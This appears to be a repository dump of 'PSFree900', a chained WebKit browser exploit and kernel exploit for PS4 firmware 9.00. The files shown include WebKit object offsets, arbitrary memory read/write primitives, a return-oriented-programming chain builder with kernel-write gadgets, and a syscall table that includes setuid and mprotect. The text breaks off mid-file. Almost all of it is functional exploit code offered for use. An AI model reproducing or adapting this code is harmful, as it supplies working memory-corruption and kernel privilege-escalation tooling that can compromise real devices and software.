├── README.md ├── alert.mjs ├── module ├── offset.mjs ├── utils.mjs ├── int64.mjs ├── rw.mjs ├── chain.mjs ├── mem.mjs └── memtools.mjs ├── config.mjs ├── index.html ├── int64.js ├── rop.js ├── psfree.mjs └── kexploit.js /README.md: -------------------------------------------------------------------------------- 1 | # PSFree900 2 | Psfree Webkit Exploit & ChendoChap Kernel Exploit For PS4 Firmware 900 3 | 4 | Created using a chain of PSfree Webkit Exploit v1.5.0b made by abc from Playstation Developer Wiki Discord and ROP / kernel exploit Code From pOOBs4. 5 | 6 | Original pOOBs4: https://github.com/ChendoChap/pOOBs4 7 | 8 | Psfree v1.4.0: https://github.com/kmeps4/PSFree 9 | -------------------------------------------------------------------------------- /alert.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // We can't just open a console on the ps4 browser, make sure the errors thrown 19 | // by our program are alerted. We use alert() instead of debug_log() because 20 | // while we are developing, we may modify the utils.mjs module and introduce 21 | // bugs. We can not use debug_log() if it throws an error. 22 | 23 | // We log the line and column numbers as well since some exceptions (like 24 | // SyntaxError) do not show it in the stack trace. 25 | 26 | addEventListener('unhandledrejection', event => { 27 | const reason = event.reason; 28 | alert( 29 | 'Unhandled rejection\n' 30 | + `${reason}\n` 31 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n` 32 | + `${reason.stack}` 33 | ); 34 | }); 35 | 36 | addEventListener('error', event => { 37 | const reason = event.error; 38 | alert( 39 | 'Unhandled error\n' 40 | + `${reason}\n` 41 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n` 42 | + `${reason.stack}` 43 | ); 44 | return true; 45 | }); 46 | 47 | // we have to dynamically import the program if we want to catch its syntax 48 | // errors 49 | import('./psfree.mjs'); 50 | -------------------------------------------------------------------------------- /module/offset.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // offsets for JSC::JSObject 19 | export const js_butterfly = 0x8; 20 | // start of the array of inline properties (JSValues) 21 | export const js_inline_prop = 0x10; 22 | 23 | // sizeof JSC::JSObject 24 | export const size_jsobj = js_inline_prop; 25 | 26 | // offsets for JSC::JSArrayBufferView 27 | export const view_m_vector = 0x10; 28 | export const view_m_length = 0x18; 29 | export const view_m_mode = 0x1c; 30 | 31 | // sizeof JSC::JSArrayBufferView 32 | export const size_view = 0x20; 33 | 34 | // offsets for WTF::StringImpl 35 | export const strimpl_strlen = 4; 36 | export const strimpl_m_data = 8; 37 | export const strimpl_inline_str = 0x14; 38 | 39 | // sizeof WTF::StringImpl 40 | export const size_strimpl = 0x18; 41 | 42 | // offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject 43 | 44 | // offset to m_wrapped, pointer to a DOM object 45 | // for this class, it's a WebCore::HTMLTextAreaElement pointer 46 | export const jsta_impl = 0x18; 47 | 48 | // sizeof WebCore::JSHTMLTextAreaElement 49 | export const size_jsta = 0x20; 50 | 51 | export const KB = 1024; 52 | export const MB = KB * KB; 53 | export const GB = KB * KB * KB; 54 | export const page_size = 16 * KB; // page size on the ps4 55 | -------------------------------------------------------------------------------- /config.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // webkitgtk 2.34.4 was used to develop the portable parts of the exploit 19 | // before moving on to ps4 8.03 20 | // 21 | // webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable 22 | // can affect the size of SerializedScriptValue 23 | // 24 | // this target is no longer supported 25 | 26 | // target firmware format used by PSFree 27 | // 28 | // 0xC_MM_mm 29 | // 30 | // * C console - PS4 (0) or PS5 (1) (1 bit) 31 | // * MM major version - integer part of the firmware version (8 bits) 32 | // * mm minor version - fractional part of the firmware version (8 bits) 33 | // 34 | // examples: 35 | // * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00 36 | // * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51 37 | 38 | // check if value is in Binary Coded Decimal format 39 | // assumes integer and is in the range [0, 0xffff] 40 | function check_bcd(value) { 41 | for (let i = 0; i <= 12; i += 4) { 42 | const nibble = (value >>> i) & 0xf; 43 | 44 | if (nibble > 9) { 45 | return false; 46 | } 47 | } 48 | 49 | return true; 50 | } 51 | 52 | export function set_target(value) { 53 | if (!Number.isInteger(value)) { 54 | throw TypeError(`value not an integer: ${value}`); 55 | } 56 | 57 | if (value >= 0x20000 || value < 0) { 58 | throw RangeError(`value >= 0x20000 or value < 0: ${value}`); 59 | } 60 | 61 | const version = value & 0xffff; 62 | if (!check_bcd(version)) { 63 | throw RangeError(`value & 0xffff not in BCD format ${version}`); 64 | } 65 | 66 | target = value; 67 | } 68 | 69 | export let target = null; 70 | set_target(0x900); 71 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | pOOBs4 9.00 & PSfree 5 | 6 | 55 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 |
77 | 82 | 83 | 86 | 87 | 88 | 91 | -------------------------------------------------------------------------------- /int64.js: -------------------------------------------------------------------------------- 1 | function int64(low, hi) { 2 | this.low = (low >>> 0); 3 | this.hi = (hi >>> 0); 4 | 5 | this.add32inplace = function (val) { 6 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 7 | var new_hi = (this.hi >>> 0); 8 | 9 | if (new_lo < this.low) { 10 | new_hi++; 11 | } 12 | 13 | this.hi = new_hi; 14 | this.low = new_lo; 15 | } 16 | 17 | this.add32 = function (val) { 18 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 19 | var new_hi = (this.hi >>> 0); 20 | 21 | if (new_lo < this.low) { 22 | new_hi++; 23 | } 24 | 25 | return new int64(new_lo, new_hi); 26 | } 27 | 28 | this.sub32 = function (val) { 29 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 30 | var new_hi = (this.hi >>> 0); 31 | 32 | if (new_lo > (this.low) & 0xFFFFFFFF) { 33 | new_hi--; 34 | } 35 | 36 | return new int64(new_lo, new_hi); 37 | } 38 | 39 | this.sub32inplace = function (val) { 40 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 41 | var new_hi = (this.hi >>> 0); 42 | 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | 47 | this.hi = new_hi; 48 | this.low = new_lo; 49 | } 50 | 51 | this.and32 = function (val) { 52 | var new_lo = this.low & val; 53 | var new_hi = this.hi; 54 | return new int64(new_lo, new_hi); 55 | } 56 | 57 | this.and64 = function (vallo, valhi) { 58 | var new_lo = this.low & vallo; 59 | var new_hi = this.hi & valhi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | 63 | this.toString = function (val) { 64 | val = 16; 65 | var lo_str = (this.low >>> 0).toString(val); 66 | var hi_str = (this.hi >>> 0).toString(val); 67 | 68 | if (this.hi == 0) 69 | return lo_str; 70 | else 71 | lo_str = zeroFill(lo_str, 8) 72 | 73 | return hi_str + lo_str; 74 | } 75 | 76 | return this; 77 | } 78 | 79 | function zeroFill(number, width) { 80 | width -= number.toString().length; 81 | 82 | if (width > 0) { 83 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; 84 | } 85 | 86 | return number + ""; // always return a string 87 | } 88 | 89 | function zeroFill(number, width) { 90 | width -= number.toString().length; 91 | 92 | if (width > 0) { 93 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; 94 | } 95 | 96 | return number + ""; // always return a string 97 | } -------------------------------------------------------------------------------- /module/utils.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | import { Int } from './int64.mjs'; 19 | 20 | export class DieError extends Error { 21 | constructor(...args) { 22 | super(...args); 23 | this.name = this.constructor.name; 24 | } 25 | } 26 | 27 | export function die(msg='') { 28 | throw new DieError(msg); 29 | } 30 | 31 | const console = document.getElementById('console'); 32 | export function debug_log(msg='') { 33 | console.append(msg + '\n'); 34 | } 35 | 36 | export function clear_log() { 37 | console.innerHTML = null; 38 | } 39 | 40 | export function str2array(str, length, offset) { 41 | if (offset === undefined) { 42 | offset = 0; 43 | } 44 | let a = new Array(length); 45 | for (let i = 0; i < length; i++) { 46 | a[i] = str.charCodeAt(i + offset); 47 | } 48 | return a; 49 | } 50 | 51 | // alignment must be 32 bits and is a power of 2 52 | export function align(a, alignment) { 53 | if (!(a instanceof Int)) { 54 | a = new Int(a); 55 | } 56 | const mask = -alignment & 0xffffffff; 57 | let type = a.constructor; 58 | let low = a.low & mask; 59 | return new type(low, a.high); 60 | } 61 | 62 | export async function send(url, buffer, file_name, onload=() => {}) { 63 | const file = new File( 64 | [buffer], 65 | file_name, 66 | {type:'application/octet-stream'} 67 | ); 68 | const form = new FormData(); 69 | form.append('upload', file); 70 | 71 | debug_log('send'); 72 | const response = await fetch(url, {method: 'POST', body: form}); 73 | 74 | if (!response.ok) { 75 | throw Error(`Network response was not OK, status: ${response.status}`); 76 | } 77 | onload(); 78 | } 79 | 80 | // mostly used to yield to the GC. marking is concurrent but collection isn't 81 | // 82 | // yielding also lets the DOM update. which is useful since we use the DOM for 83 | // logging and we loop when waiting for a collection to occur 84 | export function sleep(ms=0) { 85 | return new Promise(resolve => setTimeout(resolve, ms)); 86 | } 87 | 88 | export function hex(number) { 89 | return '0x' + number.toString(16); 90 | } 91 | 92 | // no "0x" prefix 93 | export function hex_np(number) { 94 | return number.toString(16); 95 | } 96 | -------------------------------------------------------------------------------- /module/int64.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // cache some constants 19 | const isInteger = Number.isInteger; 20 | 21 | function check_not_in_range(x) { 22 | return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff); 23 | } 24 | 25 | // use this if you want to support objects convertible to Int but only need 26 | // their low/high bits. creating a Int is slower compared to just using this 27 | // function 28 | export function lohi_from_one(low) { 29 | if (low instanceof Int) { 30 | return low._u32.slice(); 31 | } 32 | 33 | if (check_not_in_range(low)) { 34 | throw TypeError('low not a 32-bit integer'); 35 | } 36 | 37 | return [low >>> 0, low < 0 ? -1 >>> 0 : 0]; 38 | } 39 | 40 | // immutable 64-bit integer 41 | export class Int { 42 | constructor(low, high) { 43 | if (high === undefined) { 44 | this._u32 = lohi_from_one(low); 45 | return; 46 | } 47 | 48 | if (check_not_in_range(low)) { 49 | throw TypeError('low not a 32-bit integer'); 50 | } 51 | 52 | if (check_not_in_range(high)) { 53 | throw TypeError('high not a 32-bit integer'); 54 | } 55 | 56 | this._u32 = [low >>> 0, high >>> 0]; 57 | } 58 | 59 | get low() { 60 | return this._u32[0]; 61 | } 62 | 63 | get high() { 64 | return this._u32[1]; 65 | } 66 | 67 | // return low/high as signed integers 68 | 69 | get bot() { 70 | return this._u32[0] | 0; 71 | } 72 | 73 | get top() { 74 | return this._u32[1] | 0; 75 | } 76 | 77 | neg() { 78 | const u32 = this._u32; 79 | const low = (~u32[0] >>> 0) + 1; 80 | return new this.constructor( 81 | low >>> 0, 82 | ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0, 83 | ); 84 | } 85 | 86 | eq(b) { 87 | const values = lohi_from_one(b); 88 | const u32 = this._u32; 89 | return ( 90 | u32[0] === values[0] 91 | && u32[1] === values[1] 92 | ); 93 | } 94 | 95 | ne(b) { 96 | return !this.eq(b); 97 | } 98 | 99 | add(b) { 100 | const values = lohi_from_one(b); 101 | const u32 = this._u32; 102 | const low = u32[0] + values[0]; 103 | return new this.constructor( 104 | low >>> 0, 105 | (u32[1] + values[1] + (low > 0xffffffff)) >>> 0, 106 | ); 107 | } 108 | 109 | sub(b) { 110 | const values = lohi_from_one(b); 111 | const u32 = this._u32; 112 | const low = u32[0] + (~values[0] >>> 0) + 1; 113 | return new this.constructor( 114 | low >>> 0, 115 | (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0, 116 | ); 117 | } 118 | 119 | toString(is_pretty=false) { 120 | if (!is_pretty) { 121 | const low = this.low.toString(16).padStart(8, '0'); 122 | const high = this.high.toString(16).padStart(8, '0'); 123 | return '0x' + high + low; 124 | } 125 | let high = this.high.toString(16).padStart(8, '0'); 126 | high = high.substring(0, 4) + '_' + high.substring(4); 127 | 128 | let low = this.low.toString(16).padStart(8, '0'); 129 | low = low.substring(0, 4) + '_' + low.substring(4); 130 | 131 | return '0x' + high + '_' + low; 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /module/rw.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | import { Int, lohi_from_one } from './int64.mjs'; 19 | 20 | // DataView's accessors are constant time and are faster when doing multi-byte 21 | // accesses but the single-byte accessors are slightly slower compared to just 22 | // indexing the Uint8Array 23 | // 24 | // to get the best of both worlds, BufferView uses a DataView for multi-byte 25 | // accesses and a Uint8Array for single-byte 26 | // 27 | // instances of BufferView will their have m_mode set to WastefulTypedArray 28 | // since we use the .buffer getter to create a DataView 29 | export class BufferView extends Uint8Array { 30 | constructor(...args) { 31 | super(...args); 32 | this._dview = new DataView(this.buffer); 33 | } 34 | 35 | read16(offset) { 36 | return this._dview.getUint16(offset, true); 37 | } 38 | 39 | read32(offset) { 40 | return this._dview.getUint32(offset, true); 41 | } 42 | 43 | read64(offset) { 44 | return new Int( 45 | this._dview.getUint32(offset, true), 46 | this._dview.getUint32(offset + 4, true), 47 | ); 48 | } 49 | 50 | write16(offset, value) { 51 | this._dview.setUint16(offset, value, true); 52 | } 53 | 54 | write32(offset, value) { 55 | this._dview.setUint32(offset, value, true); 56 | } 57 | 58 | write64(offset, value) { 59 | const values = lohi_from_one(value) 60 | this._dview.setUint32(offset, values[0], true); 61 | this._dview.setUint32(offset + 4, values[1], true); 62 | } 63 | } 64 | 65 | // WARNING: These functions are now deprecated. use BufferView instead. 66 | 67 | // view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will 68 | // be corrupting the m_vector of our target views later, the ArrayBuffer's 69 | // buffer will not correspond to our fake m_vector anyway. 70 | // 71 | // can't use: 72 | // 73 | // function read32(u8_view, offset) { 74 | // let res = new Uint32Array(u8_view.buffer, offset, 1); 75 | // return res[0]; 76 | // } 77 | // 78 | // to implement read32, we need to index the view instead: 79 | // 80 | // function read32(u8_view, offset) { 81 | // let res = 0; 82 | // for (let i = 0; i < 4; i++) { 83 | // res += u8_view[offset + i] << i*8; 84 | // } 85 | // // << returns a signed integer, >>> converts it to unsigned 86 | // return res >>> 0; 87 | // } 88 | 89 | // for reads less than 8 bytes 90 | function read(u8_view, offset, size) { 91 | let res = 0; 92 | for (let i = 0; i < size; i++) { 93 | res += u8_view[offset + i] << i*8; 94 | } 95 | // << returns a signed integer, >>> converts it to unsigned 96 | return res >>> 0; 97 | } 98 | 99 | export function read16(u8_view, offset) { 100 | return read(u8_view, offset, 2); 101 | } 102 | 103 | export function read32(u8_view, offset) { 104 | return read(u8_view, offset, 4); 105 | } 106 | 107 | export function read64(u8_view, offset) { 108 | return new Int(read32(u8_view, offset), read32(u8_view, offset + 4)); 109 | } 110 | 111 | // for writes less than 8 bytes 112 | function write(u8_view, offset, value, size) { 113 | for (let i = 0; i < size; i++) { 114 | u8_view[offset + i] = (value >>> i*8) & 0xff; 115 | } 116 | } 117 | 118 | export function write16(u8_view, offset, value) { 119 | write(u8_view, offset, value, 2); 120 | } 121 | 122 | export function write32(u8_view, offset, value) { 123 | write(u8_view, offset, value, 4); 124 | } 125 | 126 | export function write64(u8_view, offset, value) { 127 | if (!(value instanceof Int)) { 128 | throw TypeError('write64 value must be an Int'); 129 | } 130 | 131 | let low = value.low; 132 | let high = value.high; 133 | 134 | for (let i = 0; i < 4; i++) { 135 | u8_view[offset + i] = (low >>> i*8) & 0xff; 136 | } 137 | for (let i = 0; i < 4; i++) { 138 | u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /rop.js: -------------------------------------------------------------------------------- 1 | const stack_sz = 0x40000; 2 | const reserve_upper_stack = 0x10000; 3 | const stack_reserved_idx = reserve_upper_stack / 4; 4 | 5 | 6 | // Class for quickly creating and managing a ROP chain 7 | window.rop = function () { 8 | this.stackback = p.malloc32(stack_sz / 4 + 0x8); 9 | this.stack = this.stackback.add32(reserve_upper_stack); 10 | this.stack_array = this.stackback.backing; 11 | this.retval = this.stackback.add32(stack_sz); 12 | this.count = 1; 13 | this.branches_count = 0; 14 | this.branches_rsps = p.malloc(0x200); 15 | 16 | this.clear = function () { 17 | this.count = 1; 18 | this.branches_count = 0; 19 | 20 | for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { 21 | this.stack_array[i + stack_reserved_idx] = 0; 22 | } 23 | }; 24 | 25 | this.pushSymbolic = function () { 26 | this.count++; 27 | return this.count - 1; 28 | } 29 | 30 | this.finalizeSymbolic = function (idx, val) { 31 | if (val instanceof int64) { 32 | this.stack_array[stack_reserved_idx + idx * 2] = val.low; 33 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; 34 | } else { 35 | this.stack_array[stack_reserved_idx + idx * 2] = val; 36 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; 37 | } 38 | } 39 | 40 | this.push = function (val) { 41 | this.finalizeSymbolic(this.pushSymbolic(), val); 42 | } 43 | 44 | this.push_write8 = function (where, what) { 45 | this.push(gadgets["pop rdi"]); 46 | this.push(where); 47 | this.push(gadgets["pop rsi"]); 48 | this.push(what); 49 | this.push(gadgets["mov [rdi], rsi"]); 50 | } 51 | 52 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { 53 | if (rdi != undefined) { 54 | this.push(gadgets["pop rdi"]); 55 | this.push(rdi); 56 | } 57 | 58 | if (rsi != undefined) { 59 | this.push(gadgets["pop rsi"]); 60 | this.push(rsi); 61 | } 62 | 63 | if (rdx != undefined) { 64 | this.push(gadgets["pop rdx"]); 65 | this.push(rdx); 66 | } 67 | 68 | if (rcx != undefined) { 69 | this.push(gadgets["pop rcx"]); 70 | this.push(rcx); 71 | } 72 | 73 | if (r8 != undefined) { 74 | this.push(gadgets["pop r8"]); 75 | this.push(r8); 76 | } 77 | 78 | if (r9 != undefined) { 79 | this.push(gadgets["pop r9"]); 80 | this.push(r9); 81 | } 82 | 83 | if (this.stack.add32(this.count * 0x8).low & 0x8) { 84 | this.push(gadgets["ret"]); 85 | } 86 | 87 | this.push(rip); 88 | return this; 89 | } 90 | 91 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) { 92 | this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); 93 | this.write_result(this.retval); 94 | this.run(); 95 | return p.read8(this.retval); 96 | } 97 | 98 | this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { 99 | return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); 100 | } 101 | 102 | //get rsp of the next push 103 | this.get_rsp = function () { 104 | return this.stack.add32(this.count * 8); 105 | } 106 | this.write_result = function (where) { 107 | this.push(gadgets["pop rdi"]); 108 | this.push(where); 109 | this.push(gadgets["mov [rdi], rax"]); 110 | } 111 | this.write_result4 = function (where) { 112 | this.push(gadgets["pop rdi"]); 113 | this.push(where); 114 | this.push(gadgets["mov [rdi], eax"]); 115 | } 116 | 117 | this.jmp_rsp = function (rsp) { 118 | this.push(window.gadgets["pop rsp"]); 119 | this.push(rsp); 120 | } 121 | 122 | this.run = function () { 123 | p.launch_chain(this); 124 | this.clear(); 125 | } 126 | 127 | this.KERNEL_BASE_PTR_VAR; 128 | this.set_kernel_var = function (arg) { 129 | this.KERNEL_BASE_PTR_VAR = arg; 130 | } 131 | 132 | this.rax_kernel = function (offset) { 133 | this.push(gadgets["pop rax"]); 134 | this.push(this.KERNEL_BASE_PTR_VAR) 135 | this.push(gadgets["mov rax, [rax]"]); 136 | this.push(gadgets["pop rsi"]); 137 | this.push(offset) 138 | this.push(gadgets["add rax, rsi"]); 139 | } 140 | 141 | this.write_kernel_addr_to_chain_later = function (offset) { 142 | this.push(gadgets["pop rdi"]); 143 | var idx = this.pushSymbolic(); 144 | this.rax_kernel(offset); 145 | this.push(gadgets["mov [rdi], rax"]); 146 | return idx; 147 | } 148 | 149 | this.kwrite8 = function (offset, qword) { 150 | this.rax_kernel(offset); 151 | this.push(gadgets["pop rsi"]); 152 | this.push(qword); 153 | this.push(gadgets["mov [rax], rsi"]); 154 | } 155 | 156 | this.kwrite4 = function (offset, dword) { 157 | this.rax_kernel(offset); 158 | this.push(gadgets["pop rdx"]); 159 | this.push(dword); 160 | this.push(gadgets["mov [rax], edx"]); 161 | } 162 | 163 | this.kwrite2 = function (offset, word) { 164 | this.rax_kernel(offset); 165 | this.push(gadgets["pop rcx"]); 166 | this.push(word); 167 | this.push(gadgets["mov [rax], cx"]); 168 | } 169 | 170 | this.kwrite1 = function (offset, byte) { 171 | this.rax_kernel(offset); 172 | this.push(gadgets["pop rcx"]); 173 | this.push(byte); 174 | this.push(gadgets["mov [rax], cl"]); 175 | } 176 | 177 | this.kwrite8_kaddr = function (offset1, offset2) { 178 | this.rax_kernel(offset2); 179 | this.push(gadgets["mov rdx, rax"]); 180 | this.rax_kernel(offset1); 181 | this.push(gadgets["mov [rax], rdx"]); 182 | } 183 | return this; 184 | }; -------------------------------------------------------------------------------- /module/chain.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | import { Int } from './int64.mjs'; 19 | import { get_view_vector } from './memtools.mjs'; 20 | import { Addr, mem } from './mem.mjs'; 21 | 22 | import { 23 | read64, 24 | write64, 25 | } from './rw.mjs'; 26 | 27 | import * as o from './offset.mjs'; 28 | 29 | // put the sycall names that you want to use here 30 | export const syscall_map = new Map(Object.entries({ 31 | 'close' : 6, 32 | 'setuid' : 23, 33 | 'getuid' : 24, 34 | 'mprotect' : 74, 35 | 'socket' : 97, 36 | 'fchmod' : 124, 37 | 'mlock' : 203, 38 | 'kqueue' : 362, 39 | 'kevent' : 363, 40 | 'mmap' : 477, 41 | // for JIT shared memory 42 | 'jitshm_create' : 533, 43 | 'jitshm_alias' : 534, 44 | })); 45 | 46 | // Extra space to allow a ROP chain to push temporary values. It must pop all 47 | // of it before reaching a "ret" instruction, else the instruction will pop one 48 | // of the temporaries as its return address. 49 | // 50 | // Also space for additional frames when we call a function since we do not 51 | // pivot the call to another stack (the called function's stack pointer is 52 | // pointing to our ROP stack as well). 53 | const upper_pad = 0x10000; 54 | // maximum size of the ROP stack 55 | const stack_size = 0x10000; 56 | const total_size = upper_pad + stack_size; 57 | 58 | const argument_pops = [ 59 | 'pop rdi; ret', 60 | 'pop rsi; ret', 61 | 'pop rdx; ret', 62 | 'pop rcx; ret', 63 | 'pop r8; ret', 64 | 'pop r9; ret', 65 | ]; 66 | 67 | export class ChainBase { 68 | constructor() { 69 | this.is_stale = false; 70 | this.position = 0; 71 | this._return_value = new Uint8Array(8); 72 | this.retval_addr = get_view_vector(this._return_value); 73 | 74 | const stack_buffer = new ArrayBuffer(total_size); 75 | this.stack_buffer = stack_buffer; 76 | this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); 77 | this.stack_addr = get_view_vector(this.stack); 78 | } 79 | 80 | check_stale() { 81 | if (this.is_stale) { 82 | throw Error('chain already ran, clean it first'); 83 | } 84 | this.is_stale = true; 85 | } 86 | 87 | check_is_empty() { 88 | if (this.position === 0) { 89 | throw Error('chain is empty'); 90 | } 91 | } 92 | 93 | clean() { 94 | this.position = 0; 95 | this.is_stale = false; 96 | } 97 | 98 | // this will raise an error if the value is not an Int 99 | push_value(value) { 100 | if (this.position >= stack_size) { 101 | throw Error(`no more space on the stack, pushed value: ${value}`); 102 | } 103 | write64(this.stack, this.position, value); 104 | this.position += 8; 105 | } 106 | 107 | // converts value to Int first 108 | push_constant(value) { 109 | this.push_value(new Int(value)); 110 | } 111 | 112 | get_gadget(insn_str) { 113 | const addr = this.gadgets.get(insn_str); 114 | if (addr === undefined) { 115 | throw Error(`gadget not found: ${insn_str}`); 116 | } 117 | 118 | return addr; 119 | } 120 | 121 | push_gadget(insn_str) { 122 | this.push_value(this.get_gadget(insn_str)); 123 | } 124 | 125 | push_call(func_addr, ...args) { 126 | if (args.length > 6) { 127 | throw TypeError( 128 | 'call() does not support functions that have more than 6' 129 | + ' arguments' 130 | ); 131 | } 132 | 133 | for (let i = 0; i < args.length; i++) { 134 | this.push_gadget(argument_pops[i]); 135 | this.push_constant(args[i]); 136 | } 137 | 138 | // The address of our buffer seems to be always aligned to 8 bytes. 139 | // SysV calling convention requires the stack is aligned to 16 bytes on 140 | // function entry, so push an additional 8 bytes to pad the stack. We 141 | // pushed a "ret" gadget for a noop. 142 | if ((this.position & (0x10 - 1)) !== 0) { 143 | this.push_gadget('ret'); 144 | } 145 | 146 | this.push_value(func_addr); 147 | } 148 | 149 | push_syscall(syscall_name, ...args) { 150 | if (typeof syscall_name !== 'string') { 151 | throw TypeError(`syscall_name not a string: ${syscall_name}`); 152 | } 153 | 154 | const sysno = syscall_map.get(syscall_name); 155 | if (sysno === undefined) { 156 | throw Error(`syscall_name not found: ${syscall_name}`); 157 | } 158 | 159 | const syscall_addr = this.syscall_array[sysno]; 160 | if (syscall_addr === undefined) { 161 | throw Error(`syscall number not in syscall_array: ${sysno}`); 162 | } 163 | 164 | this.push_call(syscall_addr, ...args); 165 | } 166 | 167 | // ROP chain to retrieve rax 168 | push_get_retval() { 169 | throw Error('push_get_retval() not implemented'); 170 | } 171 | 172 | // Firmware specific method to launch a ROP chain 173 | // 174 | // Implementations must call check_stale() and check_is_empty() before 175 | // trying to launch the chain. 176 | run() { 177 | throw Error('run() not implemented'); 178 | } 179 | 180 | get return_value() { 181 | return read64(this._return_value, 0); 182 | } 183 | 184 | // Sets needed class properties 185 | // 186 | // Args: 187 | // gadgets: 188 | // A Map-like object mapping instruction strings (e.g "pop rax; ret") 189 